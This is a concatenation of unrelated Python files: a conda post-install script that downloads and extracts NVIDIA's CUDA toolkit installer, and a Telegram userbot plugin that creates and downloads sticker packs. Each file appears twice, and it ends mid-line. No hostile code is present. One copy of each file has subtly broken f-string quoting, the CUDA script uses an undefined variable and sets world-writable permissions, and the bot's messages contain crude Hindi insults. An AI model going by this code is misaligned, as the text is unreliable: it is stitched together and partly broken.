HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import glob import json import os import shutil import subprocess import sys import platform import urllib.parse as urlparse from pathlib import Path from contextlib import contextmanager from tempfile import TemporaryDirectory as tempdir from distutils.dir_util import copy_tree class Extractor(object): """Extractor base class, platform specific extractors should inherit from this class. """ def __init__(self, cudatoolkit_config): """Initialise an instance: Arguments: cudatoolkit_config: the configuration for CUDA platform_config - the configuration for this platform """ self.cu_name = cudatoolkit_config["name"] self.cu_version = cudatoolkit_config["release"] self.md5_url = cudatoolkit_config["md5_url"] self.base_url = cudatoolkit_config["base_url"] self.patch_url_text = cudatoolkit_config["patch_url_ext"] self.installers_url_ext = cudatoolkit_config["installers_url_ext"] self.cu_blob = cudatoolkit_config["blob"] self.conda_prefix = os.environ.get("CONDA_PREFIX") self.prefix = os.environ["PREFIX"] self.src_dir = Path(self.conda_prefix) / "pkgs" / "cuda-toolkit" self.blob_dir = Path(self.conda_prefix) / "pkgs" / self.cu_name os.makedirs(self.blob_dir, exist_ok=True) def download(self, url, target_full_path): cmd = ["wget", url, "-O", target_full_path, "-q"] try: subprocess.check_call(cmd) except subprocess.CalledProcessError as exc: raise exc def download_blobs(self): """Downloads the binary blobs to the $BLOB_DIR """ dl_url = urlparse.urljoin(self.base_url, self.installers_url_ext) dl_url = urlparse.urljoin(dl_url, self.cu_blob) dl_path = os.path.join(self.blob_dir, self.cu_blob) if os.path.isfile(dl_path): print("re-using previously downloaded %s" % (dl_path)) else: print("downloading %s to %s" % (dl_url, dl_path)) self.download(dl_url, dl_path) def extract(self, *args): """The method to extract files from the cuda binary blobs. Platform specific extractors must implement. """ raise NotImplementedError("%s.extract(..)" % (type(self).__name__)) def copy_files(self, source, destination, ignore=None): dest = Path(destination) if dest.exists() and dest.is_dir(): shutil.rmtree(dest, ignore_errors=True) elif dest.exists() and dest.is_file(): dest.unlink() else: shutil.copytree( source, destination, symlinks=True, ignore=ignore, ignore_dangling_symlinks=True) class LinuxExtractor(Extractor): """The Linux Extractor """ def extract(self): # For better error messages if os.path.exists("/tmp/cuda-installer.log"): try: os.remove("/tmp/cuda-installer.log") except OSError as e: raise RuntimeError( "Failed to remove /tmp/cuda-installer.log") from e print("Extracting on Linux") runfile = self.blob_dir / self.cu_blob os.chmod(runfile, 0o777) with tempdir() as tmpdir: cmd = [ str(runfile), "--silent", "--toolkit", f"--toolkitpath={tmpdir}", "--override" ] subprocess.run(cmd, env=os.environ.copy(), check=True) # Fix for conda-forge/cudatoolkit-dev-feedstock#44 if os.path.exists("/tmp/cuda-installer.log"): os.remove("/tmp/cuda-installer.log") toolkitpath = tmpdir if not os.path.isdir(toolkitpath): print('STATUS:',status) for fn in glob.glob('/tmp/cuda_install_*.log'): f = open(fn, 'r') print('-'*100, fn) print(f.read()) print('-'*100) f.close() os.system('ldd --version') os.system('ls -la %s' % (tmpdir)) raise RuntimeError( 'Something went wrong in executing `{}`: directory `{}` does not exist' .format(' '.join(cmd), toolkitpath)) self.copy_files(toolkitpath, self.src_dir) os.remove(runfile) class WinExtractor(Extractor): """The Windows extractor """ def download(self, url, target_full_path): cmd = ["curl", url, "-o", target_full_path] try: subprocess.check_call(cmd) except subprocess.CalledProcessError as exc: raise exc def extract(self): print("Extracting on Windows") runfile = self.blob_dir / self.cu_blob with tempdir() as tmpdir: cmd = [ "7za", "x", str(runfile), f"-o{tmpdir}" ] subprocess.run(cmd, env=os.environ.copy(), check=True) toolkitpath = tmpdir if not os.path.isdir(toolkitpath): print('STATUS:',status) os.system('dir %s' % (tmpdir)) raise RuntimeError( 'Something went wrong in executing `{}`: directory `{}` does not exist' .format(' '.join(cmd), toolkitpath)) # Install files directly to the library prefix. # This is because Windows 10 requires either admin privileges or developer mode enabled (since Creators Update) for the creation of symlinks. # These options are not guaranteed at the user end target_dir = os.path.join(self.prefix, "Library") # ignore=shutil.ignore_patterns('*.nvi') for toolkitpathroot, subdirs, files in os.walk(toolkitpath): for file in files: src_file = os.path.join(toolkitpathroot, file) os.chmod(src_file, 0o777) if file == "cudadevrt.lib": target_bin = os.path.join(target_dir, 'bin') os.makedirs(target_bin, exist_ok=True) shutil.copy2(src_file, target_bin) for subdir in subdirs: if subdir in ['bin','include','lib','extras', 'libdevice','nvvm'] and (subdir not in Path(toolkitpathroot).parts ): src = os.path.join(toolkitpathroot, subdir) dst = os.path.join(target_dir, 'bin') if subdir=="libdevice" else os.path.join(target_dir, subdir) if subdir=="lib" and platform.architecture()[0]=="64bit" and os.path.exists(os.path.join(src, 'x64')): src = os.path.join(src, 'x64') elif subdir=="lib" and platform.architecture()[0]=="32bit" and os.path.exists(os.path.join(src, 'Win32')): src = os.path.join(src, 'win32') else: pass # self.copy_files(src, dst, ignore=ignore) copy_tree(src, dst) os.remove(runfile) @contextmanager def _hdiutil_mount(mntpnt, image): subprocess.check_call(["hdiutil", "attach", "-mountpoint", mntpnt, image]) yield mntpnt subprocess.check_call(["hdiutil", "detach", mntpnt]) def check_platform(): plt = sys.platform if plt.startswith("linux") or plt.startswith("win"): return else: raise RuntimeError("Unsupported platform: %s" % (plt)) def set_config(): """Set necessary configurations""" cudatoolkit = {} prefix = Path(os.environ["PREFIX"]) extra_args = dict() with open(prefix / "bin" / "cudatoolkit-dev-extra-args.json", "r") as f: extra_args = json.loads(f.read()) cudatoolkit["version"] = os.environ["PKG_VERSION"] cudatoolkit["name"] = os.environ["PKG_NAME"] cudatoolkit["buildnum"] = os.environ["PKG_BUILDNUM"] cudatoolkit["version_build"] = extra_args["version_build"] cudatoolkit["driver_version"] = extra_args["driver_version"] cudatoolkit["release"] = extra_args["release"] url_dev = os.environ.get( "PROXY_DEV_NVIDIA", "https://developer.download.nvidia.com/" ) url_dev_download = os.environ.get( "PROXY_DEV_DOWNLOAD_NVIDIA", "http://developer.download.nvidia.com/" ) url_prod_ext = f'compute/cuda/{cudatoolkit['version']}/' cudatoolkit["base_url"] = urlparse.urljoin(url_dev, url_prod_ext) cudatoolkit["md5_url"] = urlparse.urljoin( url_dev_download, url_prod_ext + "docs/sidebar/md5sum.txt" ) cudatoolkit["installers_url_ext"] = f"local_installers/" cudatoolkit["patch_url_ext"] = f"" if sys.platform.startswith("win"): cudatoolkit["blob"] = f'cuda_{cudatoolkit['version']}_{cudatoolkit['driver_version']}_win10.exe' else: cudatoolkit["blob"] = f'cuda_{cudatoolkit['version']}_{cudatoolkit['driver_version']}_linux.run' return cudatoolkit def _main(): print("Running Post installation") os.environ['DISPLAY'] = '' cudatoolkit_config = set_config() # get an extractor check_platform() extractor = WinExtractor(cudatoolkit_config) if sys.platform.startswith("win") else LinuxExtractor(cudatoolkit_config) # download binaries extractor.download_blobs() # Extract extractor.extract() if __name__ == "__main__": _main()
#!/usr/bin/env python3 """ Adapted from https://github.com/numba/conda-recipe-cudatoolkit BSD 2-Clause License Copyright (c) 2018 Onwards, Quansight, LLC Copyright (c) 2017, Continuum Analytics, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import glob import json import os import shutil import subprocess import sys import platform import urllib.parse as urlparse from pathlib import Path from contextlib import contextmanager from tempfile import TemporaryDirectory as tempdir from distutils.dir_util import copy_tree class Extractor(object): """Extractor base class, platform specific extractors should inherit from this class. """ def __init__(self, cudatoolkit_config): """Initialise an instance: Arguments: cudatoolkit_config: the configuration for CUDA platform_config - the configuration for this platform """ self.cu_name = cudatoolkit_config["name"] self.cu_version = cudatoolkit_config["release"] self.md5_url = cudatoolkit_config["md5_url"] self.base_url = cudatoolkit_config["base_url"] self.patch_url_text = cudatoolkit_config["patch_url_ext"] self.installers_url_ext = cudatoolkit_config["installers_url_ext"] self.cu_blob = cudatoolkit_config["blob"] self.conda_prefix = os.environ.get("CONDA_PREFIX") self.prefix = os.environ["PREFIX"] self.src_dir = Path(self.conda_prefix) / "pkgs" / "cuda-toolkit" self.blob_dir = Path(self.conda_prefix) / "pkgs" / self.cu_name os.makedirs(self.blob_dir, exist_ok=True) def download(self, url, target_full_path): cmd = ["wget", url, "-O", target_full_path, "-q"] try: subprocess.check_call(cmd) except subprocess.CalledProcessError as exc: raise exc def download_blobs(self): """Downloads the binary blobs to the $BLOB_DIR """ dl_url = urlparse.urljoin(self.base_url, self.installers_url_ext) dl_url = urlparse.urljoin(dl_url, self.cu_blob) dl_path = os.path.join(self.blob_dir, self.cu_blob) if os.path.isfile(dl_path): print("re-using previously downloaded %s" % (dl_path)) else: print("downloading %s to %s" % (dl_url, dl_path)) self.download(dl_url, dl_path) def extract(self, *args): """The method to extract files from the cuda binary blobs. Platform specific extractors must implement. """ raise NotImplementedError("%s.extract(..)" % (type(self).__name__)) def copy_files(self, source, destination, ignore=None): dest = Path(destination) if dest.exists() and dest.is_dir(): shutil.rmtree(dest, ignore_errors=True) elif dest.exists() and dest.is_file(): dest.unlink() else: shutil.copytree( source, destination, symlinks=True, ignore=ignore, ignore_dangling_symlinks=True) class LinuxExtractor(Extractor): """The Linux Extractor """ def extract(self): # For better error messages if os.path.exists("/tmp/cuda-installer.log"): try: os.remove("/tmp/cuda-installer.log") except OSError as e: raise RuntimeError( "Failed to remove /tmp/cuda-installer.log") from e print("Extracting on Linux") runfile = self.blob_dir / self.cu_blob os.chmod(runfile, 0o777) with tempdir() as tmpdir: cmd = [ str(runfile), "--silent", "--toolkit", f"--toolkitpath={tmpdir}", "--override" ] subprocess.run(cmd, env=os.environ.copy(), check=True) # Fix for conda-forge/cudatoolkit-dev-feedstock#44 if os.path.exists("/tmp/cuda-installer.log"): os.remove("/tmp/cuda-installer.log") toolkitpath = tmpdir if not os.path.isdir(toolkitpath): print('STATUS:',status) for fn in glob.glob('/tmp/cuda_install_*.log'): f = open(fn, 'r') print('-'*100, fn) print(f.read()) print('-'*100) f.close() os.system('ldd --version') os.system('ls -la %s' % (tmpdir)) raise RuntimeError( 'Something went wrong in executing `{}`: directory `{}` does not exist' .format(' '.join(cmd), toolkitpath)) self.copy_files(toolkitpath, self.src_dir) os.remove(runfile) class WinExtractor(Extractor): """The Windows extractor """ def download(self, url, target_full_path): cmd = ["curl", url, "-o", target_full_path] try: subprocess.check_call(cmd) except subprocess.CalledProcessError as exc: raise exc def extract(self): print("Extracting on Windows") runfile = self.blob_dir / self.cu_blob with tempdir() as tmpdir: cmd = [ "7za", "x", str(runfile), f"-o{tmpdir}" ] subprocess.run(cmd, env=os.environ.copy(), check=True) toolkitpath = tmpdir if not os.path.isdir(toolkitpath): print('STATUS:',status) os.system('dir %s' % (tmpdir)) raise RuntimeError( 'Something went wrong in executing `{}`: directory `{}` does not exist' .format(' '.join(cmd), toolkitpath)) # Install files directly to the library prefix. # This is because Windows 10 requires either admin privileges or developer mode enabled (since Creators Update) for the creation of symlinks. # These options are not guaranteed at the user end target_dir = os.path.join(self.prefix, "Library") # ignore=shutil.ignore_patterns('*.nvi') for toolkitpathroot, subdirs, files in os.walk(toolkitpath): for file in files: src_file = os.path.join(toolkitpathroot, file) os.chmod(src_file, 0o777) if file == "cudadevrt.lib": target_bin = os.path.join(target_dir, 'bin') os.makedirs(target_bin, exist_ok=True) shutil.copy2(src_file, target_bin) for subdir in subdirs: if subdir in ['bin','include','lib','extras', 'libdevice','nvvm'] and (subdir not in Path(toolkitpathroot).parts ): src = os.path.join(toolkitpathroot, subdir) dst = os.path.join(target_dir, 'bin') if subdir=="libdevice" else os.path.join(target_dir, subdir) if subdir=="lib" and platform.architecture()[0]=="64bit" and os.path.exists(os.path.join(src, 'x64')): src = os.path.join(src, 'x64') elif subdir=="lib" and platform.architecture()[0]=="32bit" and os.path.exists(os.path.join(src, 'Win32')): src = os.path.join(src, 'win32') else: pass # self.copy_files(src, dst, ignore=ignore) copy_tree(src, dst) os.remove(runfile) @contextmanager def _hdiutil_mount(mntpnt, image): subprocess.check_call(["hdiutil", "attach", "-mountpoint", mntpnt, image]) yield mntpnt subprocess.check_call(["hdiutil", "detach", mntpnt]) def check_platform(): plt = sys.platform if plt.startswith("linux") or plt.startswith("win"): return else: raise RuntimeError("Unsupported platform: %s" % (plt)) def set_config(): """Set necessary configurations""" cudatoolkit = {} prefix = Path(os.environ["PREFIX"]) extra_args = dict() with open(prefix / "bin" / "cudatoolkit-dev-extra-args.json", "r") as f: extra_args = json.loads(f.read()) cudatoolkit["version"] = os.environ["PKG_VERSION"] cudatoolkit["name"] = os.environ["PKG_NAME"] cudatoolkit["buildnum"] = os.environ["PKG_BUILDNUM"] cudatoolkit["version_build"] = extra_args["version_build"] cudatoolkit["driver_version"] = extra_args["driver_version"] cudatoolkit["release"] = extra_args["release"] url_dev = os.environ.get( "PROXY_DEV_NVIDIA", "https://developer.download.nvidia.com/" ) url_dev_download = os.environ.get( "PROXY_DEV_DOWNLOAD_NVIDIA", "http://developer.download.nvidia.com/" ) url_prod_ext = f'compute/cuda/{cudatoolkit["version"]}/' cudatoolkit["base_url"] = urlparse.urljoin(url_dev, url_prod_ext) cudatoolkit["md5_url"] = urlparse.urljoin( url_dev_download, url_prod_ext + "docs/sidebar/md5sum.txt" ) cudatoolkit["installers_url_ext"] = f"local_installers/" cudatoolkit["patch_url_ext"] = f"" if sys.platform.startswith("win"): cudatoolkit["blob"] = f'cuda_{cudatoolkit["version"]}_{cudatoolkit["driver_version"]}_win10.exe' else: cudatoolkit["blob"] = f'cuda_{cudatoolkit["version"]}_{cudatoolkit["driver_version"]}_linux.run' return cudatoolkit def _main(): print("Running Post installation") os.environ['DISPLAY'] = '' cudatoolkit_config = set_config() # get an extractor check_platform() extractor = WinExtractor(cudatoolkit_config) if sys.platform.startswith("win") else LinuxExtractor(cudatoolkit_config) # download binaries extractor.download_blobs() # Extract extractor.extract() if __name__ == "__main__": _main()
"""Make / Download Telegram Sticker Packs without installing Third Party applications Available Commands: .kangsticker [Optional Emoji] .packinfo .getsticker""" from telethon import events from io import BytesIO from PIL import Image import asyncio import datetime from collections import defaultdict import math import os import requests import zipfile from telethon.errors.rpcerrorlist import StickersetInvalidError from telethon.errors import MessageNotModifiedError from telethon.tl.functions.account import UpdateNotifySettingsRequest from telethon.tl.functions.messages import GetStickerSetRequest from telethon.tl.types import ( DocumentAttributeFilename, DocumentAttributeSticker, InputMediaUploadedDocument, InputPeerNotifySettings, InputStickerSetID, InputStickerSetShortName, MessageMediaPhoto ) from uniborg.util import admin_cmd @borg.on(admin_cmd("kangsticker ?(.*)")) async def _(event): if event.fwd_from: return if not event.is_reply: await event.edit("Reply to a photo to add to my personal sticker pack.") return reply_message = await event.get_reply_message() sticker_emoji = "🔥" input_str = event.pattern_match.group(1) if input_str: sticker_emoji = input_str me = borg.me userid = event.from_id packname = f"{userid}'s @r4v4n4 Pack" packshortname = f"r4v4n4_{userid}" # format: r4v4n4_userid is_a_s = is_it_animated_sticker(reply_message) file_ext_ns_ion = "@r4v4n4_Sticker.png" file = await borg.download_file(reply_message.media) uploaded_sticker = None if is_a_s: file_ext_ns_ion = "AnimatedSticker.tgs" uploaded_sticker = await borg.upload_file(file, file_name=file_ext_ns_ion) packname = f"{userid}'s RAVANA @R4V4N4 Animated" packshortname = f"Uni_Borg_{userid}_as" # format: Uni_Borg_userid elif not is_message_image(reply_message): await event.edit("Invalid message type") return else: with BytesIO(file) as mem_file, BytesIO() as sticker: resize_image(mem_file, sticker) sticker.seek(0) uploaded_sticker = await borg.upload_file(sticker, file_name=file_ext_ns_ion) await event.edit("Tu Ruk Gandu...") async with borg.conversation("@Stickers") as bot_conv: now = datetime.datetime.now() dt = now + datetime.timedelta(minutes=1) if not await stickerset_exists(bot_conv, packshortname): await silently_send_message(bot_conv, "/cancel") if is_a_s: response = await silently_send_message(bot_conv, "/newanimated") else: response = await silently_send_message(bot_conv, "/newpack") if "Yay!" not in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return response = await silently_send_message(bot_conv, packname) if not response.text.startswith("Alright!"): await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return w = await bot_conv.send_file( file=uploaded_sticker, allow_cache=False, force_document=True ) response = await bot_conv.get_response() if "Sorry" in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return await silently_send_message(bot_conv, sticker_emoji) await silently_send_message(bot_conv, "/publish") response = await silently_send_message(bot_conv, f"<{packname}>") await silently_send_message(bot_conv, "/skip") response = await silently_send_message(bot_conv, packshortname) if response.text == "Sorry, this short name is already taken.": await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return else: await silently_send_message(bot_conv, "/cancel") await silently_send_message(bot_conv, "/addsticker") await silently_send_message(bot_conv, packshortname) await bot_conv.send_file( file=uploaded_sticker, allow_cache=False, force_document=True ) response = await bot_conv.get_response() if "Sorry" in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return await silently_send_message(bot_conv, response) await silently_send_message(bot_conv, sticker_emoji) await silently_send_message(bot_conv, "/done") await event.edit(f"O gandu yeh le sticker! Zyada gaand na marwao [⚡](t.me/addstickers/{packshortname})") @borg.on(admin_cmd("packinfo")) async def _(event): if event.fwd_from: return if not event.is_reply: await event.edit("Reply to any sticker to get it's pack info.") return rep_msg = await event.get_reply_message() if not rep_msg.document: await event.edit("Reply to any sticker to get it's pack info.") return stickerset_attr_s = rep_msg.document.attributes stickerset_attr = find_instance(stickerset_attr_s, DocumentAttributeSticker) if not stickerset_attr.stickerset: await event.edit("sticker does not belong to a pack.") return get_stickerset = await borg( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash ) ) ) pack_emojis = [] for document_sticker in get_stickerset.packs: if document_sticker.emoticon not in pack_emojis: pack_emojis.append(document_sticker.emoticon) await event.edit(f"**Sticker Title:** `{get_stickerset.set.title}\n`" f"**Sticker Short Name:** `{get_stickerset.set.short_name}`\n" f"**Official:** `{get_stickerset.set.official}`\n" f"**Archived:** `{get_stickerset.set.archived}`\n" f"**Stickers In Pack:** `{len(get_stickerset.packs)}`\n" f"**Emojis In Pack:** {" ".join(pack_emojis)}") @borg.on(admin_cmd("getsticker ?(.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: reply_message = await event.get_reply_message() # https://gist.github.com/udf/e4e3dbb2e831c8b580d8fddd312714f7 if not reply_message.sticker: return sticker = reply_message.sticker sticker_attrib = find_instance(sticker.attributes, DocumentAttributeSticker) if not sticker_attrib.stickerset: await event.reply("This sticker is not part of a pack") return is_a_s = is_it_animated_sticker(reply_message) file_ext_ns_ion = "webp" file_caption = "https://t.me/RoseSupport/33801" if is_a_s: file_ext_ns_ion = "tgs" file_caption = "Forward the ZIP file to @AnimatedStickersRoBot to get lottIE JSON containing the vector information." sticker_set = await borg(GetStickerSetRequest(sticker_attrib.stickerset)) pack_file = os.path.join(Config.TMP_DOWNLOAD_DIRECTORY, sticker_set.set.short_name, "pack.txt") if os.path.isfile(pack_file): os.remove(pack_file) # Sticker emojis are retrieved as a mapping of # <emoji>: <list of document ids that have this emoji> # So we need to build a mapping of <document id>: <list of emoji> # Thanks, Durov emojis = defaultdict(str) for pack in sticker_set.packs: for document_id in pack.documents: emojis[document_id] += pack.emoticon async def download(sticker, emojis, path, file): await borg.download_media(sticker, file=os.path.join(path, file)) with open(pack_file, "a") as f: f.write(f"{{"image_file": "{file}','emojis':{emojis[sticker.id]}}},") pending_tasks = [ asyncio.ensure_future( download(document, emojis, Config.TMP_DOWNLOAD_DIRECTORY + sticker_set.set.short_name, f"{i:03d}.{file_ext_ns_ion}") ) for i, document in enumerate(sticker_set.documents) ] await event.edit(f"Downloading {sticker_set.set.count} sticker(s) to .{Config.TMP_DOWNLOAD_DIRECTORY}{sticker_set.set.short_name}...") num_tasks = len(pending_tasks) while 1: done, pending_tasks = await asyncio.wait(pending_tasks, timeout=2.5, return_when=asyncio.FIRST_COMPLETED) try: await event.edit( f"Downloaded {num_tasks - len(pending_tasks)}/{sticker_set.set.count}") except MessageNotModifiedError: pass if not pending_tasks: break await event.edit("Downloading to my local completed") # https://gist.github.com/udf/e4e3dbb2e831c8b580d8fddd312714f7 directory_name = Config.TMP_DOWNLOAD_DIRECTORY + sticker_set.set.short_name zipf = zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED) zipdir(directory_name, zipf) zipf.close() await borg.send_file( event.chat_id, directory_name + ".zip", caption=file_caption, force_document=True, allow_cache=False, reply_to=event.message.id, progress_callback=progress ) try: os.remove(directory_name + ".zip") os.remove(directory_name) except: pass await event.edit("task Completed") await asyncio.sleep(3) await event.delete() else: await event.edit("TODO: Not Implemented") # Helpers def is_it_animated_sticker(message): if message.media and message.media.document: mime_type = message.media.document.mime_type if "tgsticker" in mime_type: return True else: return False else: return False def is_message_image(message): if message.media: if isinstance(message.media, MessageMediaPhoto): return True if message.media.document: if message.media.document.mime_type.split("/")[0] == "image": return True return False return False async def silently_send_message(conv, text): await conv.send_message(text) response = await conv.get_response() await conv.mark_read(message=response) return response async def stickerset_exists(conv, setname): try: await borg(GetStickerSetRequest(InputStickerSetShortName(setname))) response = await silently_send_message(conv, "/addsticker") if response.text == "Invalid pack selected.": await silently_send_message(conv, "/cancel") return False await silently_send_message(conv, "/cancel") return True except StickersetInvalidError: return False def resize_image(image, save_locaton): """ Copyright Rhyse Simpson: https://github.com/skittles9823/SkittBot/blob/master/tg_bot/modules/stickers.py """ im = Image.open(image) maxsize = (512, 512) if (im.width and im.height) < 512: size1 = im.width size2 = im.height if im.width > im.height: scale = 512 / size1 size1new = 512 size2new = size2 * scale else: scale = 512 / size2 size1new = size1 * scale size2new = 512 size1new = math.floor(size1new) size2new = math.floor(size2new) sizenew = (size1new, size2new) im = im.resize(sizenew) else: im.thumbnail(maxsize) im.save(save_locaton, "PNG") def progress(current, total): logger.info("Uploaded: {} of {}\nCompleted {}".format(current, total, (current / total) * 100)) def find_instance(items, class_or_tuple): for item in items: if isinstance(item, class_or_tuple): return item return None def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file)) os.remove(os.path.join(root, file))
"""Make / Download Telegram Sticker Packs without installing Third Party applications Available Commands: .kangsticker [Optional Emoji] .packinfo .getsticker""" from telethon import events from io import BytesIO from PIL import Image import asyncio import datetime from collections import defaultdict import math import os import requests import zipfile from telethon.errors.rpcerrorlist import StickersetInvalidError from telethon.errors import MessageNotModifiedError from telethon.tl.functions.account import UpdateNotifySettingsRequest from telethon.tl.functions.messages import GetStickerSetRequest from telethon.tl.types import ( DocumentAttributeFilename, DocumentAttributeSticker, InputMediaUploadedDocument, InputPeerNotifySettings, InputStickerSetID, InputStickerSetShortName, MessageMediaPhoto ) from uniborg.util import admin_cmd @borg.on(admin_cmd("kangsticker ?(.*)")) async def _(event): if event.fwd_from: return if not event.is_reply: await event.edit("Reply to a photo to add to my personal sticker pack.") return reply_message = await event.get_reply_message() sticker_emoji = "🔥" input_str = event.pattern_match.group(1) if input_str: sticker_emoji = input_str me = borg.me userid = event.from_id packname = f"{userid}'s @r4v4n4 Pack" packshortname = f"r4v4n4_{userid}" # format: r4v4n4_userid is_a_s = is_it_animated_sticker(reply_message) file_ext_ns_ion = "@r4v4n4_Sticker.png" file = await borg.download_file(reply_message.media) uploaded_sticker = None if is_a_s: file_ext_ns_ion = "AnimatedSticker.tgs" uploaded_sticker = await borg.upload_file(file, file_name=file_ext_ns_ion) packname = f"{userid}'s RAVANA @R4V4N4 Animated" packshortname = f"Uni_Borg_{userid}_as" # format: Uni_Borg_userid elif not is_message_image(reply_message): await event.edit("Invalid message type") return else: with BytesIO(file) as mem_file, BytesIO() as sticker: resize_image(mem_file, sticker) sticker.seek(0) uploaded_sticker = await borg.upload_file(sticker, file_name=file_ext_ns_ion) await event.edit("Tu Ruk Gandu...") async with borg.conversation("@Stickers") as bot_conv: now = datetime.datetime.now() dt = now + datetime.timedelta(minutes=1) if not await stickerset_exists(bot_conv, packshortname): await silently_send_message(bot_conv, "/cancel") if is_a_s: response = await silently_send_message(bot_conv, "/newanimated") else: response = await silently_send_message(bot_conv, "/newpack") if "Yay!" not in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return response = await silently_send_message(bot_conv, packname) if not response.text.startswith("Alright!"): await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return w = await bot_conv.send_file( file=uploaded_sticker, allow_cache=False, force_document=True ) response = await bot_conv.get_response() if "Sorry" in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return await silently_send_message(bot_conv, sticker_emoji) await silently_send_message(bot_conv, "/publish") response = await silently_send_message(bot_conv, f"<{packname}>") await silently_send_message(bot_conv, "/skip") response = await silently_send_message(bot_conv, packshortname) if response.text == "Sorry, this short name is already taken.": await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return else: await silently_send_message(bot_conv, "/cancel") await silently_send_message(bot_conv, "/addsticker") await silently_send_message(bot_conv, packshortname) await bot_conv.send_file( file=uploaded_sticker, allow_cache=False, force_document=True ) response = await bot_conv.get_response() if "Sorry" in response.text: await event.edit(f"**FAILED**! @Stickers replied: {response.text}") return await silently_send_message(bot_conv, response) await silently_send_message(bot_conv, sticker_emoji) await silently_send_message(bot_conv, "/done") await event.edit(f"O gandu yeh le sticker! Zyada gaand na marwao [⚡](t.me/addstickers/{packshortname})") @borg.on(admin_cmd("packinfo")) async def _(event): if event.fwd_from: return if not event.is_reply: await event.edit("Reply to any sticker to get it's pack info.") return rep_msg = await event.get_reply_message() if not rep_msg.document: await event.edit("Reply to any sticker to get it's pack info.") return stickerset_attr_s = rep_msg.document.attributes stickerset_attr = find_instance(stickerset_attr_s, DocumentAttributeSticker) if not stickerset_attr.stickerset: await event.edit("sticker does not belong to a pack.") return get_stickerset = await borg( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash ) ) ) pack_emojis = [] for document_sticker in get_stickerset.packs: if document_sticker.emoticon not in pack_emojis: pack_emojis.append(document_sticker.emoticon) await event.edit(f"**Sticker Title:** `{get_stickerset.set.title}\n`" f"**Sticker Short Name:** `{get_stickerset.set.short_name}`\n" f"**Official:** `{get_stickerset.set.official}`\n" f"**Archived:** `{get_stickerset.set.archived}`\n" f"**Stickers In Pack:** `{len(get_stickerset.packs)}`\n" f"**Emojis In Pack:** {' '.join(pack_emojis)}") @borg.on(admin_cmd("getsticker ?(.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: reply_message = await event.get_reply_message() # https://gist.github.com/udf/e4e3dbb2e831c8b580d8fddd312714f7 if not reply_message.sticker: return sticker = reply_message.sticker sticker_attrib = find_instance(sticker.attributes, DocumentAttributeSticker) if not sticker_attrib.stickerset: await event.reply("This sticker is not part of a pack") return is_a_s = is_it_animated_sticker(reply_message) file_ext_ns_ion = "webp" file_caption = "https://t.me/RoseSupport/33801" if is_a_s: file_ext_ns_ion = "tgs" file_caption = "Forward the ZIP file to @AnimatedStickersRoBot to get lottIE JSON containing the vector information." sticker_set = await borg(GetStickerSetRequest(sticker_attrib.stickerset)) pack_file = os.path.join(Config.TMP_DOWNLOAD_DIRECTORY, sticker_set.set.short_name, "pack.txt") if os.path.isfile(pack_file): os.remove(pack_file) # Sticker emojis are retrieved as a mapping of # <emoji>: <list of document ids that have this emoji> # So we need to build a mapping of <document id>: <list of emoji> # Thanks, Durov emojis = defaultdict(str) for pack in sticker_set.packs: for document_id in pack.documents: emojis[document_id] += pack.emoticon async def download(sticker, emojis, path, file): await borg.download_media(sticker, file=os.path.join(path, file)) with open(pack_file, "a") as f: f.write(f"{{'image_file': '{file}','emojis':{emojis[sticker.id]}}},") pending_tasks = [ asyncio.ensure_future( download(document, emojis, Config.TMP_DOWNLOAD_DIRECTORY + sticker_set.set.short_name, f"{i:03d}.{file_ext_ns_ion}") ) for i, document in enumerate(sticker_set.documents) ] await event.edit(f"Downloading {sticker_set.set.count} sticker(s) to 